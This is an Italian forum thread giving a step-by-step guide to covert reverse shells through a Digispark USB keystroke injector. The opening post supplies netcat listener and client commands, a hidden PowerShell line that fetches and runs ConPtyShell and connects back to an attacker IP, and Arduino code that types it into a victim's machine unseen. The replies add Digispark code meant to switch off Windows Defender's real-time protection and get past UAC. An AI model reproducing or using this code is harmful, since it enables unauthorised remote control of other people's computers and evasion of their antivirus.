Guida Guscio Inverso con NetCat e Digispark

0xGhost

Helper
22 Febbraio 2022
436
38
318
286
Ultima modifica:
In questo guida vedremo come creare un Reverse Shell con NetCat e una DigiSpark (con la quale automatizzeremo la cosa), pero prima vediamo cosa è una shell inversa.

1. Cos'è un Reverse Shell
Una Reverse è quando la macchina vittima si collega alla nostra, in questo modo possiamo interfacciare con essa attraverso una shell, essendo che se provassimo noi a collegarci col computer vittima il FireWall ci bloccherebbe invertiamo i ruoli, la macchina vittima si collega a noi, poichè il FireWall blocca sono le connessioni in entrata e non quelle in uscita:
  • La nostra macchina sarà il server​
  • La macchina vittima sarà il client che si collegherà al server​
Per crearla con Ncat scriviamo:
Bash:
nc -lnvp 4444 #server side
E sulla parte del client (Windows):
Codice:
nc -e shell  ip port#client side
In questo modo si stabilerà una connessione e noi su Kali avremo un shell, la flag -e consente l'esecuzione di un programma al momento della connessione.


2. NetCat Digispark
Prima di tutto ci mettiamo in ascolto con NetCat sulla porta 4444:
Bash:
stty raw -echo; (stty size; cat) | nc -lnvp 4444
Ok, ora programmiamo lo script, in breve aprirà un pws (non servono essere root) e scriverà questa stringa al suo interno:
Codice:
Powershell.exe -WindowsStyle hidden { IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.1.115 87 }
Scaricherà uno script .ps1 che creerà una connessione col nostro pc (Kali) e avremo una Reverse, dopo di chè sposterà il processo di powershell in background con la stringa:
Powershell.exe -WindowsStyle hidden
Quindi la vittima almeno che non apra il task manager non vedrà niente. code:
C++:
#include "KeyboardES.h"
void setup() {
  // Open powershell
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("powershell");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  // Start Reverse Shell
  DigiKeyboard.print("Powershell.exe -WindowsStyle Hidden IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.1.115 87");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {
  // put your main code here, to run repeatedly:

}

./ghxst
 
  • Mi piace
Reazioni: emulator41
Ultima modifica:
La ConPtyShell è supporato nei PC Windows version >= 10 / 2019 1809 (build >= 10.0.17763), Infatti quando gli do il comando da bloccato da windows defender. Mi verrebbe in mente di disattivare window defender da powershell ma provando vari comandi non ci son ancora riuscito

Codice:
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.1.1 87

IEX : In riga:1 car:1

+ function Invoke-ConPtyShell

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~

Questo script include contenuto dannoso ed è stato bloccato dal software antivirus.

In riga:1 car:1

+ IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/mas ...

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException

    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand



Invoke-ConPtyShell : Termine 'Invoke-ConPtyShell' non riconosciuto come nome di cmdlet, funzione, programma eseguibile

o file script. Controllare l'ortografia del nome o verificare che il percorso sia incluso e corretto, quindi riprovare.

In riga:1 car:116

+ ... /Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168 ...

+                                                ~~~~~~~~~~~~~~~~~~

    + CategoryInfo          : ObjectNotFound: (Invoke-ConPtyShell:String) [], CommandNotFoundException

    + FullyQualifiedErrorId : CommandNotFoundException
 
La ConPtyShell è supporato nei PC Windows version >= 10 / 2019 1809 (build >= 10.0.17763), Infatti quando gli do il comando da bloccato da windows defender. Mi verrebbe in mente di disattivare window defender da powershell ma provando vari comandi non ci son ancora riuscito

Codice:
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.1.1 87

IEX : In riga:1 car:1

+ function Invoke-ConPtyShell

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~

Questo script include contenuto dannoso ed è stato bloccato dal software antivirus.

In riga:1 car:1

+ IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/mas ...

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException

    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand



Invoke-ConPtyShell : Termine 'Invoke-ConPtyShell' non riconosciuto come nome di cmdlet, funzione, programma eseguibile

o file script. Controllare l'ortografia del nome o verificare che il percorso sia incluso e corretto, quindi riprovare.

In riga:1 car:116

+ ... /Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168 ...

+                                                ~~~~~~~~~~~~~~~~~~

    + CategoryInfo          : ObjectNotFound: (Invoke-ConPtyShell:String) [], CommandNotFoundException

    + FullyQualifiedErrorId : CommandNotFoundException
I know, difatti io Defender lo avevo disattivato, non credo te lo faccia disattivare da CLI, nel caso sia sicuro che l'AV è WD si potrebbe provare a killare i processi ma anche quello credo non te lo faccia fare.
 
I know, difatti io Defender lo avevo disattivato, non credo te lo faccia disattivare da CLI, nel caso sia sicuro che l'AV è WD si potrebbe provare a killare i processi ma anche quello credo non te lo faccia fare.
Vorrei killare defender con la digispark, o senza utilizzare ConPtyShell c'è un eseguibile netcat che faccia da client?
 
Vorrei killare defender con la digispark, o senza utilizzare ConPtyShell c'è un eseguibile netcat che faccia da client?
Allora basta che aggiungi questo codice:
C++:
#include "KeyboardES.h"
void setup() {
  // Kill Windows defender
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("Windowsdefender://threat"); // non ricordo bene se è cosi la stringa
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(43);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(43);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(43);
  DigiKeyboard.delay(44);
In teoria dovrebbe andare, in pratica apre la pagina primaria di defender e preme TAB, così si sposta tra le varie opzioni,(mi sembra che dopo 3 opzioni ci sia quella della protezione tempo reale), poi preme SPACE e la disattiva
Non smanetto con la digi da un po, comunque tu prova questo, al massimo modifichi i delay e i TAB, emula anche la freccia a sinistra per bypassare l'UAC
Se non vuoi usare ConPtyShell semplicemente usi netcat, lo puoi scaricare da github
 
  • Mi piace
Reazioni: Smoky00 e F3lixD